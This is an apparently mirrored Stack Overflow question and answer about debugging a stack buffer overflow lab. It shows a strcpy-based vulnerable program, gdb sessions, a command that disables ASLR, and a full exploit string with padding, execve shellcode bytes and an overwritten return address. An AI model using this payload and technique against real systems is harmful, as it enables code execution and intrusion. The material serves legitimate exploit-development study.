Pergunta

I'm doing a stack overflow experiment with aslr and nx disabled. But the gdb show up a weird result.

Environment:

Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux

Disable aslr:

echo 0 > /proc/sys/kernel/randomize_va_space

Compiled the source with execstatck(Debian has no kernel parameter named exec-shield):

gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

Here's description of the problem:

(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0x208,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>:    add    $0x4,%eax
   0x0804842b <+15>:    mov    (%eax),%eax
   0x0804842d <+17>:    mov    %eax,0x4(%esp)
   0x08048431 <+21>:    lea    -0x200(%ebp),%eax
   0x08048437 <+27>:    mov    %eax,(%esp)
   0x0804843a <+30>:    call   0x8048300 <strcpy@plt>
   0x0804843f <+35>:    mov    $0x0,%eax
   0x08048444 <+40>:    leave  
   0x08048445 <+41>:    ret    
End of assembler dump.

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`

Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()

program is leaded to 0xbafff87d and crashed.This is under expectation.

So i change the address from 0xbafff87d to the address of shellcode: 0xbffff87d.

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip            0xbffff88d   0xbffff88d

but the program is leaded to 0xbffff88d instead of 0xbffff87d and crashed.The last one byte of the return address has been modified. Why?

I try to add a breakpoint before the function 'leave' (0x08048444 <+40>: leave ):

(gdb) b *0x08048444        
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp 
0xbffff518: 0x41414141  0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()

the eip is still leaded to 0xbffff88d.

I cannot figure out what makes the return address modified and when this happned.

Maybe I miss out some knowledge there. Beside the question above, I also think that gdb sometimes 'cache' the running result of the debugged program, becase sometimes the gdb show me the same result while I already change the parameters.

Thanks in advance :)

=======

Update for answering Leeor's comment:

It also crash outside gdb. Segmentation fault. The coredump file shows the eip is 0xbffff88b when segfaulted.(While my overwritten value is 0xbffff87d, the last byte is modified)

Manually overwriting the return address:

(gdb) b *0x08048444                                 
Breakpoint 1 at 0x8048444                           
(gdb) run test                                      
Starting program: /home/xxx/tests/a.out test    

Breakpoint 1, 0x08048444 in main ()                 
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xb7e7ae46                  
(gdb) x/2 0xbffff71c                                
0xbffff71c: 0xb7e7ae46  0x00000002                  
(gdb) set *0xbffff71c=0xbffff87d                    
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xbffff87d                  
(gdb) c                                             
Continuing.                                         

Program received signal SIGSEGV, Segmentation fault.                                                                          
0xbffff87d in ?? ()          

This is working as I expect(There is no valid shellcode at 0xbffff87d cause I run with parameter test. I found that when a "illegal instruction" error occurred, gdb still tell you it's Segment Fault).

But it's still not working while I run it with overflow payload:

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()

The last byte of return address is modified.

Foi útil?

Solução

I'd say execution goes to the correct address first, just that the instruction there doesn't happen to crash. Try some of the following:

  1. use si instead of c
  2. put a breakpoint on 0xbffff87d
  3. disassemble code at 0xbffff87d

Since your address is on the stack, the contents may be different when stack layout changes. Note that the command line argument is also on the stack, so your runs with test and the actual payload use different stack layout.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top